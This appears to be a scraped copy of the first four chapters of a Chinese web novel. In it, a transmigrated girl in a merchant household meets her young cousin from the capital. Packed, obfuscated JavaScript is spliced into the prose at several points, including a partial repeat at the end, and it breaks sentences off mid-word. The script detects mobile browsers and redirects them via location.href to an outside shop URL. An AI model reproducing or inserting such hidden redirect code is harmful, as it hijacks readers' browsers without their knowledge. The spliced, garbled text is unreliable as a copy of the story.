《探花郎他今天后悔了吗》 1. 第 1 章 第1章 三月里春和日丽,怀溪殷家热热闹闹。无他,因今日里他家的四姑太太回乡省亲,实在是一件喜事。 殷家在怀溪这地方也算是富足之家,只可惜出身不高。 他家最早是小贩出身,三代人齐心协力壮大了家业。到了殷老太爷这辈,主营桑茶生丝,捐了散秩,有了官身。 现在看着也是体面士绅,见官可以不拜,过堂可以有座,但真论起祖上,比那世代诗书传家的到底底蕴欠了许多。在读书人眼里不过暴发户而已。 好在他家家风尚可,家业大了之后也并不欺凌乡里,反倒乐善好施,修桥铺路,颇有贤名。如此,虽出身略差些,提到他家,读书人也点点头,称一声善。 尤其是老太爷的四女儿还高嫁了一户真正的书香世家,更是让人高看一眼。 说起来,都靠老太爷当年一念之仁。 那年京城有变,多少官儿被流放千里,许多扛不住苦,死在路上。 老太爷那会儿年还年轻,行走在外,便遇上这么一个。官差们只等着那人死了便就地埋了再上路。老太爷瞧着那犯官随行的男童凄苦中仍有一份镇定坚毅,恰是他向往的那种“读书人家的孩子”,一时动了善念,出钱给那犯官医治,救了人一命。 本以为就这样一段缘分随风散了便散了,谁知数年后那犯官平反起复,特特来到怀溪寻找当年的恩人。 昔日的男童也已成少年,边陲苦楚之地长大亦磨不去皎皎风姿。老太爷爱极。 许是太喜爱了,藏不住,叫人家看了出来。那父亲便道:“当年若不是殷兄,我撑不到崖州。我若没了,孤儿寡母恐也没活路。这孩子的命是殷兄给的,便叫他给殷兄做个半子吧。” 一个女婿半个儿,所谓半子,便说的是女婿。 他已平反起复,论起门第,殷家根本攀不上。突然天降好姻缘,老太爷大喜。 两家便结下婚姻,殷家正适龄的四姑娘就这样做梦似的嫁到了官宦之家。 出嫁数年,如今四姑太太回乡省亲,殷家热热闹闹迎女儿。 只这份热闹中,又有件不太愉快的小事——老太爷的三儿子殷三老爷的一个小妾燕姨娘过身了。 “非赶这时候,大喜的日子里给人添堵。姨娘也太没眼色了。” “这话说得,谁能还选什么日子死啊?” “可老夫人因为这个事很不痛快,给了咱们夫人脸色看呢。” “咱们爷原给夫人说,叫把姑娘养在她院里,夫人本都答应了的,这下子不高兴,又反悔了。” “唉,咱们姑娘真是命不好……” “那也怪不了别人,只怪她亲生的娘咯。” 次间婢女们的声音并不算轻,至少殷莳躺在里间里能听得清清楚楚。 她躺了两天了,现在已经理清了身份关系——没错,她就是最后一句话里的那个不能去怪别人的“她”。她就是刚病逝的这位燕姨娘的亲女儿,殷三老爷的女儿,闺名叫作殷莳。 当然真正叫作“殷莳”的小姑娘在亲娘死的当晚就发高烧,魂魄已经被亲娘一并带去投胎了。 如今的殷莳是从另一个世界穿越时空二次投胎到这里的。 “话说,表少爷生得真是俊啊。” 婢女们以为殷莳还在睡,偷闲聊天,兴致勃勃。 “你瞅见了?” “我在姑太太和表少爷进门的时候趴在廊窗上,偷偷地瞧见了一眼,真真生得好看。这要是长大了,不知道得好看到什么样呢。听说沈姑爷就是个美男子。” “我娘说,当年三姑太太、四姑太太都是该说亲的年纪,老夫人说三姑太太嫡出,想把这门婚事给三姑太太。但老太爷安排了沈姑爷与两位姑太太隔着池塘远远见了一面。姑爷自己选中了四姑太太。”婢女压低了声音,“大家都说,反正都是商户女又不是真的读书人家还分什么嫡庶,自然取相貌佳的那一个……” “四姑太太是庶出,容貌出色,生出来表少爷当然也好看。” “老夫人训斥咱们夫人,哪是为着燕姨娘死的不是时候,是为着她亲生的三姑太太去年才守了寡,庶出的四姑太太却过得这样好,带得和她一母同胞的咱们爷也跟着受老太爷看重,老太太怎能不气。” “嘘……”另一个婢女听到这些话吓了一跳,“别叫姑娘听见……” “还在睡呢吧,我看看。” 讲古的婢女也小心起来,因为她们伺候的这位姑娘今年八岁,正是小孩子爱学舌管不住嘴的年纪。万一叫她听了去在主人面前学了去,受责罚的还是她们。 殷莳刚穿过来没两天,原身还是小孩,留在脑子里的信息太有限了。为着以后的生存,她还想知道更多的信息,听见婢女进来,忙闭上眼睛装睡。 婢女轻轻进来,撩开帐子瞧了她一眼,又轻轻出去,带上槅扇门,说:“没事,还睡呢。” 另一个婢女叹气:“这么小就没了娘,可怜见的。” 刚才进过里间的婢女嗤了一声:“再可怜也是这家里的姑娘,有我们生为奴婢的可怜?你那菩萨心收收吧。” 另一个哑了一下,道:“也是……” 接下去的闲聊却没什么有用的信息了。 殷莳睁开眼睛,凝视着那垂悬下来的百蝶纹的帐子。 很精致,就是搁在另外一个时空,这也称得上是精美的工艺品了。 她这二次投胎投得不上不下的。 说“不上”,因为殷家祖上小贩出身。要知道士农工商四等人,商人在最末等。且她父亲殷三老爷是家中庶子,她呢,投成了这庶子的庶女。 但又说“不下”,是因为高祖时便辛勤,曾祖和祖父更是挣下厚厚一份家业,也捐了官身。虽然大穆朝捐官不能真的当官,只有个散官的名头,但到底改了出身。 因为家境富足,她这庶子的庶女在这一大家子上上下下这么多房人中毫不显眼,可也有金钗玉镯,锦衣绣裙,生活无忧。 再怎么样,和次间里几个说闲话的奴婢比起来也是云泥之别。 这要还说投胎投得不好,就太矫情了。 殷莳长长地吐出口气。 她已经躺了两天了,该起来了。 整理了脑海里继承的和这两天听婢女背后八卦收集的信息,殷莳坐了起来,唤人:“来……咳,来人。” 次间的婢女们听见声音,推门进来:“姑娘可算起来了?好点没?” 另一个婢女却道:“起来了赶紧给夫人给报个安、磕个头,让爷和夫人晓得姑娘无事了,也好放心。” “姑娘可快点好起来吧。如今别的姑娘都往四姑太太跟前奉承,独独咱们这里冷冷清清。” “以后姨娘不在了,姑娘好坏全要看夫人的,若能得了四姑太太喜欢,说不得咱们夫人也要高看姑娘一眼。” 这个婢女就是背后讲八卦的那个。殷莳知道她叫青燕,是殷府里的家生子。进门也不问她是否渴了饿了,先叨叨她错失在高嫁了的四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三夫人带了三房的儿女过来:“都过来。” 男孩也有,女孩也有,纷纷行礼,口称:“姑母。” 不管嫡庶,这都是三哥的孩子,是沈夫人亲亲的亲侄子、侄女。先前内厅里其实见过,只是当着老夫人的面,沈夫人也不好独独与亲哥的孩子亲近,冷了旁的侄子侄女们。这会儿私下里相见,看着这么多孩子健康可爱,沈夫人喜笑开颜:“快过来,我瞧瞧。” 摸摸这个头,问问那个话。似她这样远嫁的女儿一生回不了几次娘家,更要与侄儿侄女们亲热亲热。 又唤了自己的儿子上前与表兄弟姐妹们厮见,叮嘱:“这都是至亲的人。” 虽不同姓,但这是母系血脉,小少年点点头,一双温润眸子扫过去,却道:“怎还少了一个姐姐?” 连沈夫人都因为太高兴没发现。 也是因为孩子多,三爷有三个儿子五个女儿。都站在一块,就是一堆孩子。 却叫这表少爷发现少了个人。 三夫人正跟沈夫人说话,闻声转头看去。 小少年生了张俊秀面孔,眉眼尤其好看:“应该还有一位四姐姐,她怎地没来?” 说话不疾不徐,没有这年纪孩童常见的急躁。 目光投过来,一双眸子晶莹如玉,清亮干净。 2. 第 2 章 第2章 据自己的姑子沈夫人昔年来信里说,沈家外甥当年出生的时候,正是天亮时分。下人们给他祖父报喜,沈老大人抬眼看到霞光映红窗纸,以为吉兆,遂给这个孙儿赐名缇。 沈缇。 沈夫人成婚多年,就这一个独生儿子沈缇。 在见到真人之前,三夫人揣测着这样的独生子,沈夫人又是高嫁的,必是捧着怕摔、含着怕化,拿他当成眼珠子看的。 相识人家里也有这样的,都惯得不成样。 来之前她特地嘱咐了几个孩子,与沈家这个表兄弟相处一定要包容忍让。 她的丈夫、孩子们的父亲殷三老爷不过一庶子,才具也平平,因着这个高嫁的同胞妹妹才多得了老太爷几分看重。于三夫人来说,这姑子和外甥都是他们三房的贵客,自然要多包容多担待。 哪知道此刻打眼看去,沈家外甥沈缇小小年纪,谈吐清楚,进退有据,没有一丝错礼的地方,直把三房的三个儿子比成了乡野小子。 全不是三夫人想象中的那种惫赖纨绔子弟。 三夫人瞅着这一双清澈眼睛,干净气质,还有这说话不急不躁的模样,喜欢得不得了,忙解释:“也是赶得不巧,你四姐姐的姨娘这两日刚过身,她受了惊吓,又发烧又昏睡的。今日里下人来报过了,倒是说好多了,可她身上有孝,晦气,你母亲难得回来一趟,别冲撞了她。” 沈夫人说:“我记得四丫头和曦哥儿同年的?” 三夫人说:“正是,四丫头大了曦哥儿几个月。那年才有了四丫头没多久京城就送来了你的喜讯,把太爷和我们高兴得什么似的。” 曦哥儿是沈缇的乳名,晨间诞生,故乳名为曦。 他和殷莳同年但略小几个月,往大里说是小少年也行,往小里说是男童也行。 殷家女孩们没有序总排行,各房论各房的。殷莳是三房的四姑娘。 沈夫人道:“小小年纪就没了生母,可怜见的。” 三夫人此时心里哪有殷莳,沈夫人稍叹了两句,三夫人便转了话题,说起老夫人:“……她既说身子不太爽利,妹妹也不必往前去,尽有我呢。知道妹妹有孝心,但妹妹是娇客,难得回来一趟,只管自在。” 因孩子们也在,不好明说“老太太看见你过得这么好就不痛快,你别往她跟前凑,我给你挡着,你回娘家要开心”。 当然沈夫人心里明镜似的,笑吟吟地应了,接了嫂子这番好意。 姑嫂俩多年不见,自有许多契阔之情。三夫人引了头,沈夫人便唤沈缇:“你们小孩子去厢房玩耍吧。” 沈缇应了“是”,又给舅母行礼告了罪,然后邀请三房的表兄弟们:“去我那里说话。” 这院子是沈夫人出阁前的闺房,如今她自然还住正房,厢房收拾出来给表少爷沈缇住了。 但沈缇年纪虽小,却并不仗着年纪小就无视礼法,正儿八经地只请了表哥表弟们,没有邀请表姐妹们,十分讲究规矩。 沈夫人嗔道:“你姐姐们年纪也不大,一并去。一辈子见不着几回的。” 这的确是真话,沈缇想着也有道理,便点头:“姐姐妹妹们一并去,与我讲讲母亲家乡。” 一群大大小小的孩子便跟着沈缇去了厢房。 房间里清静了,两个女人放松下来。 三夫人羡慕道:“瞧瞧曦哥儿这孩子,有板有眼的,说话做事多么有章法。” “别提了。”沈夫人却说,“小小年纪像个小老头。” “从小就跟着他祖父、父亲,我除了问问饮食、衣裳,其他的半点摸不着。虽是我生的,竟无半分像我,十足十地像极了沈家人。” 像是抱怨,实则炫耀,那眼里是有光彩的。 三夫人掩口道:“我听你哥哥说,父亲曾私底下对他说:你妹夫打小就是个沉凝稳重之人,唯一一次像个年轻人就是自己挑中了你四妹。” 提起这个,沈夫人便面生红晕,明明成亲多年,眉间却似少女。 三夫人做了多年庶子媳妇,一看就明白——这模样只能是婆婆善待、夫君疼爱才养得出来的。但凡有一点磋磨,都存不住眉间的这份舒缓与明媚。 三夫人又羡又叹。 姑嫂说了说两边家里的情状,又拉了拉儿女经。 不是谁都能如沈夫人那样幸运,三夫人就常被婆婆磋磨,其实颇有意想背后说说老夫人小话,但沈夫人似乎对老夫人如何打压庶子媳妇和如何不快乐并不怎么感兴趣,三夫人就很有眼色地及时住口了。 只一力称赞:“多亏你,你哥哥如今也很受父亲看重,要不然,我的日子更不好过。” 花花轿子互相抬,沈夫人自然要自谦:“是哥哥自己争气,嫂嫂辛苦了。” 三夫人笑吟吟道:“可惜了我没生出女儿来,要不然非得跟你结个儿女亲家不可。” 她没有亲生女儿,这一句自然只是笑谈,可虽如此,沈夫人依然没有接这个话茬,只抿嘴笑笑。 她自己是庶女高嫁不错,但那是因为她的父亲对公爹有救命之恩。 殷三老爷虽然是她亲哥哥,但对沈家没有半点恩情,甚至还要沾妹妹的光,他的女儿别说庶女,就是嫡女也不可能高攀得上祖、父都是进士的沈缇。 沈夫人不回应,三夫人便心下雪亮。 前几日她那傻夫君还曾发过梦:“若是能再和沈家亲上加亲就更好了。” 还非叫她探探妹妹口风,她当时就说过肯定不行,奈何男人就是爱发梦。 行了,梦梦就行了,回去得提醒他别真的提出来,惹人笑还是次要的,更怕惹了这妹妹生气,以后不来往了。 姑嫂俩多年不见,很尽了聊兴之后三夫人才起身,叫人唤了孩子们过来,带着三爷的儿女们告辞。 沈夫人也有略有些乏,叫婢女给她捶肩膀。 沈缇过来唤了声“母亲”。沈夫人抬眼,却见小小少年眉头微蹙。她忙问:“怎么不开心的模样?可是和家中兄弟起了什么争执?” 她这话也不是全无由头。她丈夫沈博便是一个十分固执之人,若相信自己是对的,便是磕得头破血流也不会改。沈缇是十足十地像了他父亲,从小就是个犟种。 “并没有,我们来外家做客,我怎会如此不知礼。”沈缇微微不满。 “那你怎么了,倒是跟娘说嘛。”沈夫人嗔他。 “按理,我不该说长辈。”沈缇跟亲娘也不兜圈子,直说了他的不满,“只是我观舅母说起四姐姐新丧生母,竟是带着笑说的。生母虽是妾,那也是亲娘。小小女儿正经人伦之悲,舅母身为嫡母提起此事竟言笑晏晏……” 沈夫人立刻明白了。 沈缇三岁便开蒙,由祖父亲自教导读书,圣人仁义礼智信的道理深入骨髓。三夫人这嫡母说庶女刚死了亲娘时竟带着满脸笑,搁沈缇心里,只怕已经给这位亲舅母头上打上了“不慈”的标签。 她“咳”了一声,替娘家嫂嫂遮掩:“你舅母就是见到我们一时太高兴了……” 小少年投过来一瞥,目光中带着责备 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沈缇张口欲要反驳,沈夫人却快一步抢了他的话头:“便是你,道理上来说,该友爱兄弟、亲近同族的吧?可你三伯爷那一房的小十七,怎不见你去友爱他?那也是你的同族兄弟,同姓同宗,血脉手足呀。只因那孩子惫赖无礼,又不求上进,入不了你的眼,你便嫌弃。你瞧,小十七于你根本无甚妨碍,既不与你争夺长辈的宠爱,也不分你父亲将来留给你的资产,可你就是不喜欢他是不是?” 沈缇动了动嘴唇,发现这件事实在无可辩驳,又闭上了。 沈夫人趁热打铁,揶揄:“怎么就觉得要求旁的人要为自己真心讨厌的人发自内心的悲伤那么硬气呢?” “我自出嫁后,还是头一次省亲。你舅母与我多年未见,与你更是头一次相见。我与她、你与她乃是亲姑嫂、亲舅母和外甥,你可知道你舅母见着我们有多高兴。和这份发自真心的高兴比起来,讨厌的人没了算什么大事?你非要按头她为个妾没了伤心难过?你自己觉得说出来可理直气壮?” 沈夫人认真讲人情世故,不拿他当小孩糊弄,沈缇便受教,低头认错:“是我对舅母苛刻了。” 小少年抬起头,又道:“但那位四姐姐着实可怜,母亲是她亲姑母,关照她一下吧。” 他也不是全不通世故,身在京城,人情往来是极多的,似他这样自小聪慧的孩子怎能不懂。外家门第比自家低了许多,因此母亲在娘家说话便有分量。 对失了亲娘怙恃的小姑娘,有分量的姑母多关心一下,别人看在眼里,就少薄待她一分。 沈夫人摸摸他的头,目光温柔:“知道了,不用你说。” 沈缇觉得自己大了,想侧头避开母亲的手,却听沈夫人叹道:“我也是这个年纪……姨娘没了。” 沈缇一顿,没再闪避,任母亲揉自己的头。 沈夫人知道他不喜欢,揉了两下便收回手:“只现在全府上下都盯着我呢,我这垫子都还没坐热,不好先兴师动众地去关心她,倒把她推到风尖浪头上,后宅破事多,别叫她招人眼。待我缓两日,该见的人都见了,该拜访的都拜访了,再去看看这可怜孩子。” 沈缇想了想,却道:“那母亲别动了,我小,我代母亲去看看四姐姐吧。” 他处处都似沈家人,这双眸子却和沈夫人一样,十分温柔:“她没了亲娘,家里却张灯结彩地迎母亲省亲,不知道现在还有谁会想着她,实在可怜。” 舅母能笑成那样子,想来舅舅也不会为个妾没了多伤心。 “我代母亲去看看她,叫她知道,还有姑姑疼她。” 3. 第 3 章 第3章 三夫人在沈夫人这里热情契阔的时候,殷莳吃饱喝足,终于是在青燕的催促下洗漱梳头,换了孝服,头上没戴任何金饰,只箍了两个银发箍。 殷莳看着镜子里眉眼精致的小姑娘,忍不住伸手摸了摸自己的脸。 这小姑娘长得可真好看呀。 可怜。 希望她在另一个世界和她的亲娘都去投个好胎。 不管怎么样,现在她就是“殷莳”了。 殷莳又看了看镜子里的女孩,站了起来,开始接替“殷莳”的人生。 首先就是得去她嫡母殷三夫人那里点个卯,露个面表示一下“殷莳”已经从受惊发烧的状态里康复了。 哪知道去了三夫人的院子,三夫人正在沈夫人的院子里和沈夫人契阔呢。 青燕听了,蠢蠢欲动。 说到底怀溪不过是个小地方,这里的人都向往“京城”,这份向往落到具体,就落在了从京城回来的沈夫人身上。 青燕便撺掇殷莳往沈夫人那里去。 殷莳叹气,特意带着青燕便是觉得青燕人灵活,哪知道人一贪心就容易犯蠢。 她扯扯身上孝服:“这合适?” 确实不合适,但青燕犹豫了一下,说:“或者姑太太觉得姑娘可怜,更心疼……” “真的不会觉得我这一身晦气,从此嫌弃我吗?”殷莳说,“你能保证?” 青燕当然保证不了,她也不过就是个十三四岁的女孩子而已,她能保证什么? 姑太太若真的嫌弃了,三夫人因此恼了,这些后果都不是她一个婢女能承受的。青燕泄了气。 三夫人身边妈妈都跟着去沈夫人那里了,殷莳便跟留守的大婢女碰个头:“姐姐与母亲说一下,我没事了。” “没事就好,姑娘还虚着,还是要多休养休养。”大婢女态度不热切,但也不冷淡。 就……大家其实都是普通人,吃这一口饭,做分内事,普普通通地相处。并不像殷莳在另一个时空里看的一些小说那么狗血激烈。 殷莳观察着,松了一口气,轻轻松松地回去了。 她才回去没多久,三夫人回来了,听婢女传了话说四姑娘没事了。她心思不在殷莳身上,只说:“知道了。” 却与自己的心腹妈妈孙妈妈凑在一起说沈夫人的反应:“妹妹呀,怎么可能让沈家儿子再娶咱们家的姑娘。更不要说,咱们房中根本就没有嫡女。我就说他是做白日梦,他还不乐意听。” 从鼻子里嗤出声来。 孙妈妈扯她衣袖:“你说的时候也收敛些,别那么……咳,口气注意些。” 好歹得顾着男人的脸面。 三夫人说:“知道了,我不幸灾乐祸。” 嘴里这么说着,还是忍不住噗噗笑。 孙妈妈只抬头看房梁。 三夫人这里笑话自己夫君,那厢殷莳回到自己的院子,放松下来。打发了婢女出去,自己在屋子里摸摸索索的,熟悉这里的一切。 才转了两圈,忽听外面有人声,很快婢女就慌张进来:“不好了!” 殷莳刚穿越过来,顶了人家的身份,正心虚,闻言眉头一跳:“怎么了?” 婢女说:“表少爷来了!” “?”殷莳沉默了一下问,“哪个表少爷?” 婢女急道:“还能有哪个,当然是京城来的沈家表少爷。” 没搞错的话,根据她从婢女们这两天的闲聊里收集的信息,那个京城来的沈家表少爷不是跟“殷莳”同岁的一个小孩嘛? 殷莳心里叹气。 可能对一个毫不起眼的庶女院里的人来说,京城来的表少爷就是个大人物了。所以面对个小孩,婢女都慌张了。 另一方面也说明,她这个院子里的婢女素质也不太高。高素质的婢女肯定有,但也肯定轮不到她。 好在这些婢女都十几岁了,按照这个世界的规则,再过几年她们就都该嫁人了,她可以挑选新的婢女,到时候一定要找自己看得入眼的,再慢慢培养。 扯远了,先对付眼前。 殷莳问:“表少爷呢?” 婢女定了定神才说:“表少爷在院子里,非让我们先通禀。” 有青燕的表现在前,殷莳一听就明白了,一定她院子里的人对京城来的表少爷过于殷勤,直接越过了她就自作主张地请人家男孩子进正房来,结果……被人家拒绝了。 殷莳虽然是穿过来的,但是对这个世界的时代性还是懂一些的。 可一个跟她差不多大的小孩就这么讲究礼法,真有点吓着她了。这么严格的吗?殷莳刚刚放松的神经又绷了起来。 她忙整理一下衣服,对婢女说:“在哪?带我去。” 婢女领着她往外走,殷莳迈出正房门槛,就看到台阶下有个小男孩,身后还跟着两个婢女。 她的婢女青燕正在旁边陪笑。 听见她出来,沈缇抬起眼。两个小孩在阶上阶下,对视了一瞬。 殷莳惊叹,婢女们真没说错,这个什么表少爷长得可真好看。 小小年纪就长得鼻子是鼻子,眼睛是眼睛的,只要不长残,这大了之后不知道得迷死多少小姑娘。 沈缇看到台阶上这个小姑娘,脑海中闪过的是“彼之貌容,香培玉琢;彼之良质,冰清玉润”。这个表姐生得如琼花落雪,可怜却没了亲娘。 他益发地怜悯,唤道:“表姐?” 殷莳忙走下台阶迎他:“是沈家表弟?” 沈缇行个礼:“弟单名一个缇字,尚未有表字。表姐可以唤我沈缇。” 小小年纪,行礼、说话都有模有样,像个小大人。 可殷莳一走下来站在沈缇身边,比沈缇足足高了半个头。他们这个年纪就是这样,女孩子先长个,男孩子后发育。 殷莳的紧张顿时散去——再怎么讲礼法,这也就是个小孩。不怕。 倒是满心的慈爱升起来,小孩超级有礼貌,说话偏又这么老成,真是可爱极了! 她柔声说:“我知道你的。这两天大家都在说姑姑和你。没想到你会到我这里来。” 那腔调就是大人对小孩说话的腔调。搁在另一个时空,叫作夹子音。 这听在沈缇耳朵里,只觉得这表姐又温柔又奶气。他道明来意:“母亲知道表姐新遭丧亲之痛,只是母亲脱不开身,故遣我来探望表姐。表姐,还请节哀。” 殷莳有什么哀,她又不是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456906|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“殷莳”。她怕自己演技不成,忙抬起手臂,袖子遮了半张脸,含糊地“嗯”了一声,好像哽咽似的。 她刚才本来是想招呼沈缇到屋里去坐的,让沈缇这几下一鼓捣,改变了主意。 她才将将来到这个世界,还在适应磨合阶段,对方虽然是个小孩,可瞅着比她还更懂各种礼数之类的东西。多一事不如少一事,别把人往屋里招了。 少做就少错。 她记得很多地方都是说小孩眼睛亮,所以不让小孩子参加葬礼什么的,就借用了这个说辞。袖子掩着面,鼻子假假地抽两下气,说:“表弟大老远过来,应该请你进屋坐才是,但我这里有孝,你年纪小,不要沾的好。” 从殷莳出来,青燕就在拿眼睛给殷莳递眼色,谁知道眼睛都快抽筋了,殷莳却把沈家表少爷给拒之门外,竟不知道主动去结交。只把青燕气得倒仰。 但当着贵客的面又不能说什么,尤其先前她殷勤请表少爷屋里去,才刚被表少爷冷淡拒绝过。只能拿眼睛去剜殷莳。 殷莳假装看不见。 沈缇也好似没看见,只客气对殷莳说:“忧思伤身,表姐还需多多休息,保重身体。我不多叨扰了。这里一些母亲与我从京城带来的风物特产,一点心意,表姐不要嫌弃。” 为什么这么小的孩子就能说出这么标准的客气话来?这在殷莳来的那个时空,都得是有点社会阅历的人才会使的遣词用句和腔调,太年轻的都不行。 殷莳服了。 真是半点都不能小看眼前的小孩,只能也端起来向他道谢。 又亲自送小孩到院门口。 “表姐留步。”小男孩说,“表姐要注意饮食,孝中也莫要荒了作息,坏了身体。” 此时是下午,日头正好。 小男孩生得眉清目秀,眸光又亮又正。 穿过来两天的殷莳在这一刻忽然感到身周的一切都真实起来——砖刻也好,木门也好,身边的婢女也好,面前的男童也好,都变得真实、有质感了起来。 殷莳终于放下了又虚又飘像做梦似的感觉。 她是“殷莳”了。 这是殷莳的表弟。从未谋面的姑母、小小年纪的表弟,府中贵客,远道而来,可以算是在第一时间就过来关心新丧生母的殷莳。 这一刻,这个世界变得没那么可怕了。 殷莳不再紧绷,她的肩膀放松了下来,恳切地再次道谢:“表弟,务必代我问候姑母。” 小孩子有时候其实比大人更敏感,人的真诚与虚伪都能感受得到。 沈缇看着殷莳的眼睛,能感受得到她的感动。 他点点头:“表姐留步。” 小小少年迈着四方步,不紧不慢地回到了母亲出阁前的院子,去向母亲覆命。 沈夫人见他回来,道:“还挺快。” 又问:“小四怎样?” 便是最迂腐的老夫子,也不会一天十二个时辰都板板正正的,在自己家里也一样会歪着靠着翘个脚什么的。 屋里没有外人,沈缇在母亲面前也放松起来,不复先前在亲戚们面前谨言守礼的模样,屁股一抬也上了榻,终于有了几分孩童模样,道:“表姐不错,丫头不怎么样。” 4. 第 4 章 第4章 “怎了?”沈夫人诧异,“家里丫头竟敢慢待你?” “怎么会。”沈缇说,“是殷勤太过了。” 沈夫人便明白了,嗔他:“我就说。你是京城来的娇客,家里人殷勤些不是应当的?” “太过了,叫人不舒服。”沈缇道,“下人们也就罢了,血脉相连的姑表亲,兄弟手足的也这样,不舒服。” “你这样便叫人舒服了?”沈夫人手指戳了戳他额头,“你也知这是你舅家。姑表亲,代代亲,打断骨头连着筋。兄弟们与你亲,你却嫌弃起来。这可合你那君子之道?” 沈缇想了想:“好吧,是我不对。” 但殷三老爷和三夫人,甚至老太爷,殷家满门上下心里都是要捧着沈家的。 因为殷家能从一个小商人到如今的地方富户,沈家虽然没有主动做过什么,但有这么一门姻亲已经是护身符。 这些年有这样一门官宦之家做姻亲,生意做起来少受了多少为难。 且不论哪个时空,优质的教育资源都是稀缺的。殷家出身不好,纵有钱,有些事也是办不到的。而他们求不得的资源,于沈家却不过是寻常。 一个家族若想向上行,光有钱不行,得读书,因为读书才能做官。 抱着这种心思,殷三老爷和三夫人自然对孩子们谆谆叮嘱。少年们哪里能拿捏得好尺度,落到沈缇这里直接的感受便是舅家兄弟们对他热情得近于谄媚了。 叫人不舒服。 若真是那种娇纵纨绔或许反而舒服,偏沈缇这种小小君子,自小立身修志克己明德的,便觉得不舒服。 沈缇嘴上认错,只是承认自己不该在背后这样评议血亲,却并不认为殷家人做的就是对的。 比较起来,他说:“四姐姐不错。” 沈夫人:“咦?” 沈缇说:“她的丫头颇势利,热衷逢迎,想来是那种惯于捧高踩低的人。四姐姐和我一般年纪,瞧着却比三位年长的表姐更知礼。虽哀戚也没有不管不顾哭哭啼啼,出来迎的我,却又说我年纪小,不叫我进屋,怕沾了什么。其实子不语怪力乱神,我不怕这些个的。” “子再大,也大不过天去。”沈夫人不赞同,又点头,“这小四,听着还挺懂事的,很有点姐姐样。” “嗯,的确。”沈缇回忆殷莳的模样——生得十分好看养眼,声音也温柔,正经丧亲之痛也没有失态之举,说话做事都叫人觉得舒服,于是责备沈夫人,“娘怎不给我生个姐姐?便表姐这样的就挺好。” 沈夫人给了他头上一个爆栗:“胡说八道。” 又问:“银子给到她没有?” 沈缇揉揉额头:“我没提。” 沈夫人也不担心:“我们给的东西,她们必会好好收拾,不会看不到。” 她轻叹:“可怜孩子……” 这边沈缇走了,殷莳才刚转身青燕就抱怨:“表少爷特地来看咱们,姑娘怎么回事,怎还把人撵走了。” 殷莳一本正经地说:“姨娘在我屋里飘呢,他小孩眼睛亮,我怕他吓着。” 沈缇会不会吓着不知道,青燕是着实给吓着了:“什、什么?姑、姑娘可别胡说!” “我不跟你说了。”殷莳绕过她,仿佛自言自语,“你又看不见。” 青燕吓得脸都白了。 青燕最怕这个,她嘴唇都抖,问:“姑、姑娘说的是真的?你别吓我。你怎地竟不怕?” 殷莳停下,回头幽幽看了这个丫头一眼:“我怕什么?那是我姨娘。她舍不得走,想多看看我,多陪陪我。她说,若不是太近我会累我发烧生病,她才不想飘来飘去,只想好好挨着我。” 殷莳装神弄鬼吓唬完人,自顾自往前走:“走,瞧瞧姑姑给了我些什么。” 嘴上说着,却侧耳注意着身后。青燕果然没有立刻跟上来。 殷莳嘴角微微勾起。 殷家是一个四世同堂的大家庭,殷莳作为一个庶子的庶女,院子里人员配置不高。青燕十三四岁,已经是她身边的大丫鬟。她实际在府里只是二等丫鬟。殷莳的院里还够不着有一等丫鬟。 稍小的另一个婢女唤作巧雀,在她院里也算是顶用的人。底下还有更小的小丫头子干些零碎跑腿的事。 这三个婢女的年纪阶梯式递减。另还有一个婆子干粗活。 此外,就没了,就这么几个人。 她的奶娘在她很小的时候就去世了。那之后她由自己的姨娘亲自照顾,院子里便没有旁的年长女性。至于教养姑姑什么的,那是得上了层次的人家才有的。殷家现在虽然有钱,但的确没什么底蕴。有钱主要体现在穿金戴银、吃香喝辣上了。 虽然配置不高,但对殷莳来说已经很满足了。 一个人独占个院子,还有四个人伺候,你不满足还要怎样! 你要上天嘛? 总之,殷莳是满足的。 但身边这些人中,最熟悉“殷莳”的就是青燕。如今殷莳壳子里换了芯,怕别人看出来,最需要疏远和防备的就是这个人。 回到屋里,巧雀和小丫头正摆弄沈缇送的东西。见她回来,巧雀抬头:“姑娘,都是好东西呢。” 殷莳走过去看看,这都什么,好几样都认不出来。她不动声色:“你可都认得?分好,别乱混着放。” 巧雀道:“姑娘放心,当然不能混着放。这些香料药材,都得单独收着,不能受潮。” 原来是香料和药材,怪不得她不认识。 使劲扒拉了扒拉原身的记忆,的确有一些这方面的知识,但不多也不深,稍涉皮毛而已。 殷家在沈缇的娘高嫁后,确实有那么几年加强了对女儿们的培养。但没什么用,这种高嫁得看机缘。沈夫人赶上了就是命。旁的殷家女儿并没有这种好命,最后还都是嫁的本地门当户对的人家。 本来沈家娶殷家女儿也不是为着他家女儿有多么高的素质或者才学,是为了报恩。这事无法复制。老太爷看明白了,也就偃旗息鼓了。 所以到孙女这一代,也就还那样。家中倒也有女先生教些东西。但女孩子们又不用科考,大人们也不逼着学,也是三天打鱼两天晒网地学,主打一个颐养性情、打发时光罢了。 原身似乎也没有什么特别的天资,学什么都学个皮毛。 这挺好,殷莳想,冒充学渣肯定比冒充学霸容易点,大大降低了难度。 “呀!”巧雀忽然发出轻呼,“姑娘,你看!” 殷莳被喊回神,定睛一看,有个小小的扁匣打开,里面装的是四排小银锞子。 巧雀拿起来掂了掂:“是五钱的。” 一小锭是五钱,一排五锭,一共四排。 巧雀很惊喜:“足有十两。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 